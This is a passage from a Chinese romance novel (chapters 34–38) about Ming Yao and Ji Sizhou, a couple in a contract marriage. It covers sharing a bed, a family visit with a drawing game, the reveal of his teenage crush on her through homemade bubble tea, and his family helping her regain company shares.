一搜索中值拍行的公示,竟然发现了点有意思的。原来这拍行之前也打算营销过这件藏品提价,图都还挂在官网上呢。明遥这边接手,他们就该撤下才对。
她打了个电话给钟茗茗:“徐承淮的竞拍品,和那边网站负责人对接一下,要撤下来。”
钟茗茗说:“中值拍行说这支簪子之前给了复制品给影视剧,很多影迷都想要同款,又有热度,所以他们肯定不愿意撤,现在关于如意祥云簪的热度也都是集中在中值。”
明遥:“我倒有个方案,你去查一下那部电视剧的导演联系方式。”
两人都在忙工作,明遥一忙起来就不注意时间,直到季斯舟端着一杯热温热的牛奶到明遥的身边:“该睡觉了,明经理?”
“嗯?”明遥茫然地从电脑的荧光里抬头,无意识接过季斯舟手里的牛奶,这才发现电脑屏幕下方,已然十一点半了。
工作狂夫妻……之前郑满栀说的没错。
明遥后知后觉,季斯舟刚刚叫她什么?!
怎么大家都这么叫的,季斯舟一说,这声明经理就和调情似的,格外有磁性。
季斯舟今天没过去,明遥默不作声地和季斯舟到了主卧。之前季见宜来的时候,底下还有地铺。
后来季斯舟搬到对面去,地铺自然收起来。
明遥的东西都在里面,又住了有这么长的时间,季斯舟一进来,便闻到这个房间里有淡淡的香气,是明遥身上那种令人熟悉的气味。
他喉头上下一滚,不得不承认自己当时被刺激的说了大话。这样怎能在一起睡?他对自己的定力没了可信度。
也怕明遥发现。
现在该隐瞒的人,反倒成了他。
明遥深吸一口气,见季斯舟的视线凝固在床上,心想反正早晚有这一天,自己先躺了进去。
她只是安静地将床头灯亮起,背对着季斯舟,没看见季斯舟眼神沉黑如墨,贴着脊背的睡裙,隐隐透出她肩胛骨的轮廓。
有种倔强的自暴自弃。
季斯舟无声地笑了笑,他知道明遥一贯的脾性,落在自己的眼中真的只剩下叫人看不够的可爱了。
不过明遥是个急性子,等不过两秒钟,噌就坐起来对季斯舟皱眉道:“不是和我各取所需?”
季斯舟反倒温和地笑了:“你需要什么?”
明遥咬牙切齿,心道季斯舟可真会明知故问的:“我需要睡觉。”
“那刚好,我需要练习一下普通话。”季斯舟走到床边来,居然从柜子里拿出一本书,随意翻开:“麻烦你来仔细听一下是否标准。”
季斯舟原本的普通话就很标准,低沉又有磁性,甚至有点播音腔的意思。明遥看到季斯舟手里拿的那本书,上面写的标题——
《幼儿最喜欢的101个睡前童话故事》
35. 第 35 章
不能睡,不能睡,还得评估一下季斯舟的普通话是不是真的不好,要告诉他……
在季斯舟犹如催眠曲一样的童话故事中,明遥抵不过十分钟,便沉沉睡去。
她本来就累了,自然睡的很快,又很熟。
等明遥睡熟了,季斯舟的声音渐渐淡下去。
他为明遥盖好杯子,空调调整为睡眠模式。明遥的手又伸出来,垂放在身边。
她的手指上,那颗钻石熠熠生辉。
季斯舟看了半晌,将自己同样带着婚戒的手屈了起来,眷恋地碰了碰明遥的无名指。
“明遥,我只需要你在就好了。”他低低道,“其他的妄念,我不敢有。”
*
第二天需要去季家,明遥的闹钟在九点半响起。
她神清气爽,昨晚什么梦都没做,也没有季斯舟,真是快乐。她好久没睡过这么酣畅淋漓的好觉了,回国之后她的睡眠质量一直不算好。
而醒来之后她发现身边也没有季斯舟,显然是自己一个人睡的。没喝酒,不存在什么忘事,她记得季斯舟给自己讲了一篇睡前故事,自己就睡的不省人事。
催眠曲,效果还挺好。
没做就没做,问题不大。
至于季斯舟是在哪里睡的,也不是很重要。
她想着季斯舟应该出去了,于是将自己的真丝睡裙往上掀,刚要去打开内间衣帽间的门。
才开了个缝,她看见了男人拥有肌肉线条的后背,往下是窄腰,然后……
手掌准确地覆盖上了她视线的位置,季斯舟低沉的声音传来:“我在拿衣服。”
“啊!”
明遥才反应过来,和小兔子一样弹跳后退,小腿跌到床沿,闷哼了一声就落在了大床上。
痛死……明遥死死咬住下唇不肯出声,不为了刚才背对着自己没穿衣服的季斯舟,是因为自己也没穿衣服!!
她以为季斯舟已经出去了所以把睡裙脱了!!!
还好刚才季斯舟没回头,只有手来了,也还好刚才门只开了一条缝。
衣帽间里的男人似乎听到外面的动静,准备要出来,明遥几乎尖叫:“你别出来!”
季斯舟无奈的声音响起:“是不是摔跤了?我担心你。”
“没有!”明遥急忙将睡裙扯过来胡乱再兜头穿上,“你别出来!”
里面的声音顿了一下又说:“明遥,我穿了衣服了。”
明遥:“我没穿。”
季斯舟不说话了。
她吓得不轻,小腿肚那里也疼,真不知道怎么能撞这么严重,也是看在昨夜睡得极好的份上,她才不和季斯舟计较。
明遥坐起来,腿肚子发麻了,“可以出来了,季先生。”
季斯舟听她声音发闷,出来的时候脸色也是一脸的郁闷。坐在床上,吊带歪歪扭扭,露出大片白皙细腻的肌肤。
今天季斯舟穿的是黑色衬衫,马甲,一丝不苟,袖口,方巾都好好在该在的地方,是个不怕热的绅士。
他衣服明明穿上了,明遥眼前出现的却还是季斯舟没穿衣服的后背,充满力量感的身体已经被包裹到衬衫里,莫名让她想到一个词语。
西装暴徒。
季斯舟道:“需要帮忙吗?”
明遥郁闷地要起来,但腿还是麻的。他们一会儿得出门了,季斯舟见她的目光,走上前说:“要不今天先不去了?你的腿……”
“我没事,要去。”确实有段时间没回去了,方姿都那么说,怎么可能还不回去,她说,“你扶我一下。”
季斯舟干脆直接拦腰抱她起来:“我带你去。”
“哎!你!”短暂的错愕后,明遥只能接受了现实。但季斯舟先去找来跌打油,帮明遥把红肿的小腿处擦了药油,皱着眉的模样像是这是件天大的事。
“我自己换,换好叫你。”明遥不自在地赶他出去,季斯舟说,“我在就外面等你,有事情叫我。”
季斯舟出去前还说:“穿平底鞋。”
昨晚上季斯舟把行李拿了过来,日常穿的衣服已经放进了衣帽间,难怪他在这里,怪只怪明遥没习惯。
她迅速换好衣服,终于感觉腿的知觉恢复了。
明遥出来,没让季斯舟扶他,“一会儿就好了。”
但季斯舟还是时刻看顾着她上车,寸步不离,她想起来昨晚季斯舟给他念的故事,幼儿童话。
怎么,真把自己当儿童了?
明遥问:“你昨晚在哪儿睡的?”
季斯舟说:“你旁边。”
像是预感到明遥要说,季斯舟又紧接着道:“昨晚上你睡着之后压着我的胳膊不让我走,我就在你边上睡的。你放心,我睡觉很规矩。”
明遥沉默一瞬:“你是说我睡觉很不规矩?”
季斯舟:“我怕你不喜欢,所以昨晚上用小被子卷成了一个长条放在我们中间,你睡五分之四,我睡五分之一,今天起来的时候你看到那个分界线了吗?”
明遥记得自己醒来的时候呈现大字型睡在大床的中间。
……
她凶巴巴地瞪着季斯舟,干脆恶人先告状:“别栽赃嫁祸我,昨天我又没同意你睡我边上!”
季斯舟低头笑笑,嗯了声,没和她争辩。
明遥心虚,也看向窗外。
到了季家,方姿在外面浇花。见到车来,花洒给了丈夫季国礼,满脸笑容地扶住明遥的胳膊,看见小姑娘的宝石耳坠就笑道:“这耳坠子真好看,这就是上回斯舟紧赶慢赶要买下的吗?”
明遥的心头一跳,这是上回季斯舟说给自己找到的古董耳环,她还没吱声,季斯舟跟在后面说,“妈,你认错了,这是明遥自己的。”
方姿笑眯眯地拍拍明遥的手背:“哦,那你就当妈认错了。家里还有好些呢,眼神都乱七八糟的,认错了也很正常。”
明遥拨弄了一下自己的耳坠,抬头看季斯舟一眼,男人神色不变,她没忍住嘴角小小的翘了起来。
真忍得住,就看他能忍到几时。
明遥先去陪老爷子喝了会儿茶,聊聊天。季斯舟本来也在,但后来被老爷子赶走了。
“你在这里干什么?板着脸,不有趣。”老爷子让季见宜把季斯舟带走,还嫌弃地摆摆手,“跟你爸去园子里种菜去吧,我要和遥遥玩游戏。”
老爷子最近迷上了你画我猜,他喜欢和明遥一起打配合。
季斯舟不想走:“爷爷,我陪你一起玩。”
明遥发觉季斯舟在家里的地位较为低下,不由得觉得好笑,为了帮季斯舟挽回一点地位,她开口道:“我们可以组一个四人局,爷爷,这样会比较好玩。”
季见宜笑道:“是呀爷爷,阿舟画的不好你就骂他,这游戏里面好像是可以组六人,玩起来热闹。”
季老爷子这才不情不愿道:“既然豆宝和遥遥都同意,好吧。”
明遥才知道豆宝是季见宜的小名,季斯舟没有,她一边打开手机游戏一边问,“你小时候是不是很调皮。”
季斯舟道:“从来没有,但爷爷说我妈怀孕的时候本是想要个女孩,可惜是个男孩。”
所以明遥嫁进来,一家子的长辈都是拿她当女儿宠的,掌上明珠。季家对一对儿女倒是一视同仁,该有的都
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有,不过要求男孩儿要做的事情多些。
老爷子道:“你别心疼他,大男人小的时候不需要娇气,我们可没有少他的,谁不喜欢小棉袄呐?还好他把遥遥你娶回来,不然有他好看的!哎,哎,我们房间里又进来两个人啦!”
季见宜已经直接在微信上开了房,他们这是小程序游戏,很方便的。大家都各自取好昵称,季见宜道,“我邀请了骆璟,另一个他邀请的。”
不用问,另一个是郑满栀无疑。
id名字各异,六人房分别是:低保户,zzz,粘豆包,我不满意,超帅霸总和小树苗。
明遥看了一眼最诚实的季斯舟,只见他的手机屏幕上,一扫而过一个红色的软件。
这不是小宏薯吗?原来季斯舟也看小宏薯?
季斯舟感受到身旁的视线:“马上就要开始了。”
第一轮,超帅霸总抽中题目马桶塞,他框框三秒钟,所有人的面前出现了一坨……大的。
旁边画了个棍棍。
所有人不约而同地打出了那个单字,错了。小树苗又打:便秘?
我不满意:我不满意!
所有人都失败,房间的等待时间,大家聊开了。
超帅霸总:@小树苗,兄弟,你能不能好好答题!!
小树苗:小伙子,你画的比zzz还不好。
zzz:@超帅霸总,建议你把嘴合上
明遥乐死了,她一眼就认出超帅霸总是骆璟,显然骆璟不知道大家都是陪老爷子来玩的,根本不知道小树苗背后为何人,讲话没大没小。
老爷子目光灼灼:“快来!第二局!”
第二局开始,粘豆包抽中题目珍珠奶茶。季见宜的视线往边上一瞥,立马福至心灵,她刷刷地画起来。
题板亮出,一个戳了吸管的大杯子,里面装了芋圆珠珠,答案简直呼之欲出。瞬间,超帅霸总,我不满意和zzz火速打出,小树苗和低保户还未答对。
季老爷子对年轻人爱喝的这玩意不太明白,第一轮写的答案为了对应上四个字,写的是大保温杯,错了。
错了就算了,还发现同时其他三个人都对了,老爷子很郁闷。
还好有体贴的遥遥陪他一起,明遥笑着对老爷子说:“爷爷不急,我也答错了,咱俩慢慢想。”
季斯舟和明遥坐在一起,哪能不明白明遥是故意放水为了陪着老爷子的?她早知道是珍珠奶茶了,但是输入答案的时候,写的是芋圆奶茶。
季老爷子:“这到底是个什么玩意呢?豆宝,你再画一次给爷爷看。”
季见宜对着老爷子挤眉弄眼,堂而皇之地作弊:“就那个东西呀!你再看看啊爷爷!”
她嗖嗖又在题板上画上了一个校门,上面写着苏市一中,下面一个火柴棍棍人,手里拿着一杯奶茶。
“您不记得了吗?”
季斯舟在瞬间反应过来,季见宜早有先见之明捂着自己的手机不让季斯舟来拿,“爷爷救命啦!您想起来没有?答出来没有?”
“哦!我知道!”季老爷子恍然大悟,他立马打拼音,答对了。
明遥看着那张补充,反而怀疑这题目到底是不是珍珠奶茶,这和珍珠奶茶有什么关系……
结果她这一迟疑,等待的时间刚好走完了最后一秒,这一轮的简单题目,明遥成了唯一的输家。
季斯舟:……
季见宜转向明遥:“咦,遥遥不可能不知道啊?这个不是当时读书的时候——”
“下一轮了。”季斯舟立马开口,把明遥的目光带过来,“我姐画的很抽象,你别听她胡说八道。”
36. 第 36 章
老爷子立马不乐意了:“哪有!豆宝画的很好啊!这不就是当时的你吗?”
季斯舟要阻止也来不及。
还好明遥没听出来:“哪有你这样讲的,是你那个时候喝珍珠奶茶?”
季斯舟道:“高中的时候有过一段时间吧。”
季见宜懂了,似笑非笑道:“哦……对,那个时候阿舟爱喝奶茶,还自己做手工的。你们高中都在一中读,怎么记忆还不一样啊?”
明遥也想起来:“我高中的时候也很爱喝,就是没想到高三的学长也喜欢喝。”
她记得,那时候一中门口开了两家新加盟的网红果茶,天天排队。她大小姐脾气,虽然爱喝又懒得排队,经常花钱雇人家帮自己去排队的。
正说着,她的手机一震,第三轮又开始了。
这次是zzz来画,题目是……季斯舟的神情变得轻松,这题目太简单了。
而且他确定这次明遥一定会才出来。
明遥看见,题板上出现了一个跟上轮一样的火柴人,那个火柴人的肩膀上,用黄色花了一只小飞虫。
……你们季家人画火柴人是遗传吗?
明遥哭笑不得,她隐约猜到了季斯舟要画什么,但是不确定。
画面上,季斯舟补充是用红笔勾勒出来那个黄色的飞虫,打了个问号。再在旁边画了一座碑。
超帅霸总:太抽象了吧?兄弟?@zzz你和那个小树苗一家的吧。
我不满意:这画的我不满意!
粘豆包:稍安勿躁~
“什么玩意儿?”季老爷子的眉毛皱成了川字,也很不满意,“又是三个字,但你这画的不是蜜蜂吗?”
季斯舟决定给爷爷作弊:“爷爷,它只是因为会发光所以我才画成了黄色。”
“叮!”
之间屏幕上,粘豆包和低保户纷纷答对。紧接着,老爷子稍作思索后也答对了。
独独剩下我不满意女士和超帅霸总在房间里无能狂怒:你们这画的什么啊?看不懂啊!
游戏结束后,季见宜说:“你画的比我还抽象好吧,萤火虫?墓地里还有萤火虫吗,还是以前那些?”
明遥抬眸:“以前那些?”
季斯舟又道:“姐,我突然想起之前你说的那个古董板有消息了。”
季见宜说:“哦哦哦,行啊,我去找一下爸爸,我现在没钱,让爸给我出。”
“你和豆宝一起出去,别玩了,你画的一点都不好。”季老爷子嫌弃道。
季斯舟:“……”
茶室里就剩下了老爷子和明遥,明遥又和老爷子玩了几局,她刻意放水,把老爷子逗得直笑,玩的很满意,夸奖还是孙媳妇好。
明遥也笑:“老爷子,怎么就那么不待见您孙子。我看他玩的也挺好的。”
“他啊,性子轴,是输是赢他分的清清楚楚,你没见他从来不让我的?哪像我孙媳妇,早就知道了答案了,也知道顾着爷爷的面子。”
老爷子笑眯眯地看着她,明遥不好意思地捧着瓷杯,“没有,没有,是我真的没猜出来。”
果真什么都瞒不过这老爷子的。明遥心中妥帖,但嘴上肯定要说不是这么回事,季老爷子又道:“他这孩子其实脸皮很薄的,和你玩个游戏都不让我们调侃!自己做的事情都不说。”
明遥想起来最后两局游戏里季见宜和老爷子的对话,问道:“为什么画珍珠奶茶的时候会画上一中的校门呢?如果是给一中读书的人看,直接画侧边的那两个店面更简单。”
老爷子诧异道:“你不知道吗?”
“我……”明遥迟疑道,“该知道的吗?”
老爷子结合到自己孙子当时的状态,立马反应过来了,这傻孩子!东西当时没给出去呢!
他常色道:“阿舟高三快毕业的那段时间,沉迷于制作珍珠奶茶,豆宝和他爸妈快尝吐了,你到时候自己去问他。”
明遥若有所思,她和季斯舟做饭搭子有一段时间了,对于季斯舟的口味也略有了解,季斯舟并不嗜甜。
她好笑问:“他不爱甜的,怎么还这么爱喝奶茶。”
“好像不是给他自己喝的。”季老爷子回想,“他那奶茶甜得很,自己又不喜欢吃,霸着厨房就在那里搓红糖丸子!经常做那个黑糖珍珠奶茶,把他姐姐喝胖了两斤。结果过了他高三那段时间,就再也不做了,提一下奶茶就板着脸。”
明遥诧异道:“肯定很好喝吧?我高中的时候最喜欢喝这一口了。”
季老爷子笑眯眯道:“你让他给你做。”
明遥已经开始分泌唾沫了。老爷子让她出去玩去,刚出了茶室的门,外面没见到季斯舟,季见宜在厨房里朝她挥手:“遥遥,来给我看看。”
她拿了两个罐子,一个装的红糖,一个是黑糖。
“做小丸子用哪个啊?”季见宜苦恼地掰开盖子,“这两个一样么?”
明遥说:“黑糖好像更甜一点,你要喝奶茶吗?我们可以点外卖。”
季见宜道:“好不容易季斯舟回来了,还点什么外卖啊?让他给我们全家做。我想想,你知道吗,距离他上一次做搓丸子竟然已经有…应该有七年了吧?”
明遥好奇问:“他人呢?他那时候只做不喝,难道是要……”她忽然恍然大悟,“是送人的吧?”
季见宜淡笑:“是吗?也不知道那人收到没有呢?”
明遥眨眨眼睛,反应了一下。
黑糖珍珠奶茶……自制爱心奶茶……送人的,送给喜欢的人的?!
原来是给那个时候喜欢的人送的啊。
“……诶。”明遥默默叹了句,“他还挺体贴纯情的。”
季见宜道:“不是,你误会什么了?他那个时候喜欢的是……”
“没事,谁年轻的时候没个悸动。”明遥笑了,“能理解的,现在都过去了。”
季见宜怕自己越描越黑,只好闭嘴了。
“阿舟和爸爸在后面菜园子了,你去看看,顺便把他叫回来搓丸子。”
明遥过去叫人。
季家老宅占地很大,也有足够大的地方给一大家子侍弄花草,菜是季国礼退休之后种的,如今已经颇具规模。
明遥看见季斯舟站在大一片玉米杆子旁边,注视着那些已经成熟的玉米垂下的须须。
别说,他不板起脸的时候,那双眼睛看个玉米须都显得多情。
也不知道他在想什么想这么出神,别不是因为今天的游戏想起了旧事和旧情人,所以才那么入神?
有蝴蝶从旁边的花园里飞过来,在和煦的微风中轻轻停在季斯舟的左肩。
明遥停下了叫住,在远处注视着此刻格外温柔的季斯舟,心底仿佛也进了一只轻飘飘的蝴蝶。
原来这份温柔也曾经给过别人吗?她出神地想。
“给你。”季国礼从另外一边回来,手里是个已经装满了菜的竹筐,季斯舟顺手接过,季国礼拍拍他的
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肩头,“刚刚在里面陪着老爷子玩游戏?”
“嗯。”季斯舟肩上的蝴蝶飞走了,他收回视线,和父亲聊了刚才的战局,季国礼笑着说,“要是让我去猜,萤火虫我就肯定能猜出来了,当时你还只有我知道你办了这件事。”
季斯舟道:“没想到那里还有,也有可能不是之前放的那一批了吧。”
“当然是同一批,现在不正是繁殖高峰么,当年为了养那一批萤火虫,你倒是用心,还叫人挖了一条溪。”季国礼笑着道,“多少年了?”
季斯舟笑了笑:“久到我自己快忘了。”已经融入他的呼吸,成为了一件自然而然的事情。
明遥有些听不明白季斯舟和他父亲在聊什么,萤火虫……墓园的那批萤火虫是季斯舟放的?他为什么要做这些。
明遥往前一步,季斯舟抬眸望向了她。
视线相接,明遥的身后是一片繁花似锦,她在其中,明艳的脸庞比花还娇艳。
“季斯舟,”明遥叫他,声音轻轻地,“今天可以做珍珠奶茶喝吗?”
“可以。”季斯舟快步地走向她,他微微扬起手,明遥怔了一下,明白过来他的意思,她在原地没动,让季斯舟轻轻握住了自己的手。
男人的掌心很大,干燥而温暖,轻而易举地将她的手全部包裹住。婚戒的内侧压在她柔嫩的掌背皮肤上,让明遥更有了几分自己结婚的实感。
季斯舟走的慢,配合着她的步伐。
明遥忽然道:“季斯舟,你手艺那么好,做的奶茶肯定好喝,可惜那个时候我没喝到,迟了好些年。”
季斯舟垂眸看她颤动的长睫,声音染上愉悦的低沉:“明遥,不迟的。”
在他这里,不再有迟到这一说了。
当年没能送出去的那杯奶茶,如今再次迎来了它的主人。
季斯舟只看中这个结果,至于过程有多心酸晦涩,有多少隐忍克制的等待,这些……明遥不必知道。
明遥是他好不容易才等来的珍宝,而珍宝,只用负责开心快乐便已经足够。
明遥却抬眸:“很可惜啊,听姐姐说,你那个时候喜欢的女生没能喝到。”
她自认自己是真诚地为当年的季斯舟未能成行的事情感到惋惜,身旁的男人却听出了一点点酸溜溜的小气泡被戳破的声音。
季斯舟没说话,只是捏紧了明遥的手。不疼,只是片刻让她感知到力道。明遥诧异地微微睁圆了眼睛,浓密的眼睫毛存在感很强,季斯舟没再看她的眼睛,只是沉声:“你等一下。”
他走到厨房,拿出了所有的材料,一言不发地开始煮茶拉茶,打发芝士,熬糖浆,搓好丸子,动作迅速敏捷,仿佛已经做过千百遍。
直到一杯媲美奶茶店的黑糖珍珠奶茶递到明遥的面前,季斯舟为她放上吸管,浓郁的芝士绵密细软,一看就格外咸香。
明遥还只喝了一口,上唇沾染上白色的芝士,她眼神仿佛被点亮,雀跃地抬眸看向季斯舟。
“好好喝!”
季斯舟看她在自己面前毫不设防,伸出小小的舌尖舔过唇上的芝士,圆润唇珠如含苞待放。
脑袋里那些不太君子的坏念头在急速发酵,季斯舟暗着眼眸盯着那颗饱满、漂亮的唇珠,声音充满压低的磁性,叫了妻子的名字。
明遥一直看着季斯舟,似乎不解。
他的心中很酸,酸到极致后又在明遥的眼睛里找寻到柔软的甜,季斯舟慢慢道:“现在,她喝到了。”
37. 第 37 章
“什么味儿啊,这么甜!”季见宜闻着味就来了,“哇,我就知道你行动派啊,说做就做了。你这叫,童子功吗哈哈哈哈哈?”
她装着锅里剩下的边角料,投入冰块做了一杯冰奶茶,美滋滋喝一口:“就这个味道,爽。不错,你这么久没做,居然还和之前的味道一模一样啊!”
明遥目瞪口呆地看着季斯舟重新回到了厨房忙这忙那。他有很好的习惯,在使用完厨房之后就要保持整洁。
而他刚才的话,还回荡在明遥的脑海中。
她又不是个傻子,明遥要是听不出季斯舟的潜意思,她就白活了。
但明遥还是觉得不可能,觉得特别像是梦。季斯舟当时的珍珠奶茶要拿给自己喝?他那个时候喜欢的人是自己?那个时候?
那——这个时候呢?
这男人到底几个意思!
明遥的心中竟然没有半分被一个优秀的男人表白了的喜悦。
高中那都是多少年前的事情了,怎么到现在才说?季斯舟真忍得住。明遥心情复杂,奶茶都忘记喝了。
就像现在,季斯舟说完又能若无其事地出去了,留她在自己在这儿瞎想。
“怎么不喝?搅合一下,芝士要化了。”季见宜到明遥的边上来,晃悠着自己剩下的一大杯,“唔,味道真不错。”
明遥才像是回神一般喝了好大一口。
浓郁的香甜,她在高中那年迷恋喝奶茶的记忆重回脑海。细碎的记忆脉络如同夜空中的碎星,闪闪发亮。
她垂眸,陷入沉思。
那天是哪天呢?似乎也是一个这样的天气。
有人对她告白,她拒绝了,还耐心地解释了原因。那一幕自己记了许久,明遥以为自己不会忘记,但她发现,这段时间和季斯舟相处的多。
那些在记忆原本深刻的伤痛,正在渐渐地远去,被抚平。
“别管他了,陪我看电影去。”季见宜看明遥有点魂不守舍,还以为是她在这带的不自在,干脆就把明遥拉进了自己的娱乐室。
明遥随遇而安,随便打开了一部老片子看着。
而季见宜在旁边打游戏,两人各玩各的。
明遥觉得很不对头,诡异且熟悉的感觉到底哪来的?哪来的呢?她打开手机顺手点开自己的小宏薯后台。
那个群里上千条消息了,几天不看而已。
她才刚拿到手机,季斯舟就送来了一盘新鲜果切,明遥不知道为什么心虚了,把手机盖在桌上。
季斯舟先开口:“看电影?”
“我一个人看就行。”明遥心情复杂地盯着他看了一眼说,“我……”
她还想玩会儿手机呢,总觉得季斯舟在这里的话她连玩手机都有些不自在。
季斯舟温和地笑起来:“你看就是,一会儿吃饭了再叫你。”
明遥见他镇定地出去了:“……”
对于刚才的事倒是只字未提,她自己倒气上了。哦,什么事儿?到头来只有自己才在乎了刚才季斯舟的……那,能称之为表白的表白吗?!
她郁闷地将手机甩在了柔软的沙发上。
“……好大火气,怎么了呢?”季见宜弄下自己的游戏耳机,明遥忙说没事。
她拿起手机随意翻看后台群里的聊天,发现他们在十分钟前规律的刷着感叹号,划了好几下都没到头,不得不发了一句破坏队形的话:【你们在聊什么?】
【噢!恋狗谈老师都来了!!!姐妹你真的好牛的嘞!@什么时候追到就改名,姐妹你现在是不是该改名了!!】
哇!这个ID明遥熟悉的,不是那个追两年都没有追到的用户吗?
自己也就一阵子没来,进展的如此迅速的吗?
群里众人热心给明遥科普:【是改名姐妹说她刚刚告白了!】
【女追男,隔层纱!你肯定马上就要追上了,报喜!】
明遥打字:【啊?这么快呀?】
什么时候追到就改名罕见回复:【不快了,等了好多年……终于有了个能表白的机会。】
这位用户还虚心求问:【下一步怎么办呢?对方似乎很震惊,没有回答。】
群友道:【正常的啦,没有拒绝就代表有戏!给人家考虑的时间嘛,现在你应该践行恋狗谈老师的方法,开始若即若离!你逃他追他心痒难飞!】
【对对对,现在开始就把人冷下来,我看你之前每天吃饭打卡都在,刷了这么久的存在感,该消失下了。】
明遥感慨的想,现在不是秋天了吗?还能让这些人这么春心萌动。
看来这段时间没来,这名用户还真是进展飞速。
群友们因为共同的暗恋而聚集在一起,发言十分的友好,将明遥随手瞎写的攻略奉为圣经,对用户什么时候追到就改名耳提面命,千万要遵循步骤,追到人指日可待了!
明遥:……
她看这位用户也没有那个告诉群友其实自己是男性的想法,也就没明说。
什么时候追到就改名:【好的,我知道了】
紧接着又有几位群友分享自己已经成功追到暗恋对象的成功喜悦。
明遥幽幽叹气,还真给你们谈上了。
其他的群友见明遥在线,又追问她什么时候喝点酒,把剩下的攻略写出来。
明遥想到自己现在的处境,微笑回复:【暂不写】
什么追人不追人的……喝酒?别了,一看见这两个字,就想到上次喝醉酒的季斯舟和自己在车里接了吻。
她打开帖子界面,把自己酒后胡言乱语的那些帖子一一仔细查看,真的对应上了季斯舟对自己的一些行为。
投其所好的落日号,他说想送的是夕阳,只不过那时候的明遥满心都在料理父亲丧事和家里事宜,没有细想。
若换在此时她和季斯舟的关系……他的话,她会很心动,仅限心动。
吃饭,饮食习惯,恰到好处的尊重……明遥细细看着。
季斯舟是刷到了吗?
可是,明遥的视线看着自己发帖时候被系统分配的tag:#暗恋##海王上岸##谈恋爱的101种方法##手到擒来#……
季斯舟是触发什么关键词看见的?
明遥陷入思考。
当然,也有可能是巧合。别说tag和季斯舟不沾边,暗恋那两个字怎么可能能按在季斯舟的身上。
在季家待的惬意,这里又有庄园,明遥在这过了一天,竟然有种自己幼年时过暑假的错觉。
她后来和季斯舟没有过多的交流了,一直所在娱乐室里看电影,和季见宜一起聊天。
这一趟回来,分明没和季斯舟有太多的接触,她却感觉自己似乎……从侧面,更加了解季斯舟了一些。中学时期的季斯舟会做奶茶,搓丸子一定要搓的很圆。
生活化的季斯舟,脱离了掌权人的威严,成为了在
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自己身边的一个鲜活而独特的模样。
明遥不得不承认,在季家待着,比她自己在明家感觉舒适妥帖的多。
晚上吃过饭后,季老爷子又将季斯舟和明遥一起叫了过来,说要给明遥点东西。
两个小辈一到跟前,老爷子对季斯舟道:“我之前让你做的事情你办妥了没有?”
明遥不解。
季斯舟点头:“做好了。”
“做好了怎么今天遥遥还给自己取名字低保户!你是不是亏待她了。”老爷子凶巴巴的表情在面对明遥的时候才明显改变,柔和下来,“你放心,爷爷之前答应过你斯舟不可能欺负的了你的。”
明遥听见自己那随手一写的网名被老爷子放在心上,她的脸上急速升温,轻咳几声:“那个……没有的事,爷爷,季斯舟他平时对我很好的。”好歹也是一起吃过那么多顿的饭搭子,明遥知道自己很有必要给自己的厨师正名一下。
“你别在爷爷面前说了,一会儿爷爷又要怪我亏待你,还不让你说实话。”季斯舟无奈低沉的声音在她耳边响起,那带着磁性的嗓音仿佛带着细微的电流,从她的耳廓一路向内,叫明遥好半天没缓过来。
谁教他这么讲话的?很犯规……明遥堪堪把自己稳住别露馅。
季斯舟却不知从什么地方拿出一叠文件塞到明遥的手中。
“明家在外的散股全在这里,占百分之十六。你手上有百分之十六,加上董事会的那百分之三十。两月后的会议你不用担心。”
明遥诧异地睁大了眼睛,捏着文件的手指微微颤抖。
“董事会怎么会支持我?”
她自然知道季爷爷当时许诺的季家会帮助她拿回股份不是虚言,但这也太快了吧!
上个月前自己还是一个部门面临取缔的小经理,此刻,她就已经得到了大半的股份……但董事会不是已经变成甘佳君的人了吗?
季斯舟微笑着拍了拍她的手背,恰到好处的亲昵:“董事会怎么能不支持你。”
他意有所指,黑眸深深。
明遥望向季斯舟轻轻覆盖着自己的手掌,青筋脉络分明。她懂了,现在她的身后有季斯舟的名字。
这三个字,带着季家的高傲和资本,识相的人怎么会用鸡蛋去碰石头。
常人眼中这么艰难的事情,在季家人这里,不过是因为自己的一个随手起的ID名字。
季老爷子笑眯眯道:“好了,现在不会是低保户咯。让斯舟每月把钱都上交给你吧,男人身上不用放太多钱的。”
明遥糊里糊涂地跟季斯舟回到客厅,腿还在飘,季斯舟扶了她的腰一下,让她坐在沙发上。
“小心点,”他皱起眉,“腿还痛吗?我给你揉一下,让我看看有没有淤青。”
季斯舟真就这样没有一点架子的在明遥的面前蹲下了。明遥一直盯着他看,眼睛眨都不眨一下。
他轻轻脱掉明遥拖鞋的时候,让明遥踩在自己屈起的大腿上。
感受到脚底触到的,充满力量感的腿肌,——哪怕隔着一层挺括的西裤面料,季斯舟的肌肉存在感还是很强。她的指头禁不住蜷缩了一下,这个姿势仿佛像季斯舟是自己的骑士。
明遥:“你怎么会这么快就把股份都收购好了?”
季斯舟微微抬着头看她:“这些事情本来就不用你太费心,把你觉得麻烦的事情做完了,季太太才有心思想想别的,是不是?”
38. 第 38 章
明遥被他的话刺激到,将自己的脚从季斯舟的腿上放下去,却被季斯舟伸手捉住。
他的手很大,明遥的脚在他的掌中竟然也显得小巧……明遥恼怒地瞪他一眼:“到底一天天的在胡说八道什么?”
她要听的不是这一句,她原本要说的也不是这一句。
原本想问什么来着。
她是想说——既然如此,是不是她和季斯舟的合约要提前结束。
可还没问出来,就被季斯舟的话给堵了回去。
季斯舟难得这么强势,竟然没有让她挣脱的意思,又将明遥的脚放在自己的大腿上。
明遥狠狠地踩了他一脚。
季斯舟纹丝不动,还是抬眸看她,还一点也没恼,闷声发笑:“你知道我在说什么。”
明遥不做声了。
由着季斯舟帮她按捏着发酸的小腿肚,明遥还是开口:“那两个月后开完会就……”
“不行。”季斯舟温和地说,“你忘了?我们的合约有两项条件,还有我名下的那家公司上市。”
明遥还真忘了。
季家的上市公司还少吗,又不缺那一个。
明遥本能地感觉到季斯舟现在越来越危险了,她可能真的不是季斯舟的对手。
方姿在十点半的时候叫他们上楼:“你们小年轻也少熬夜,一会儿陈姐会把莲子羹放房里,安神的。”
明遥才慢吞吞的跟着季斯舟上楼。
什么叫一回生二回熟?她现在对要和季斯舟同床共枕这件事好像没那么抗拒慌张了。
反正现在是合法的!合法睡觉怎么了啊!
她冷哼一声,进浴缸洗澡去。其实明遥每晚的护肤流程很多的,又很细致,出来的时候脸被里面蒸腾的雾气熏得微红,细腻的像是剥了壳的鸡蛋。
身上的香气,从她出来的那一刻起季斯舟便闻见了。他的视线落在明遥修长的脖颈线条上,转瞬离开,同时也盖上了自己的笔记本。
站起身时,他的喉咙几不可查的滚动了一下,沉声道:“你洗完了。”
“你快点去。”明遥没察觉到哪里不对,摆摆手,坐在了床上看手机。
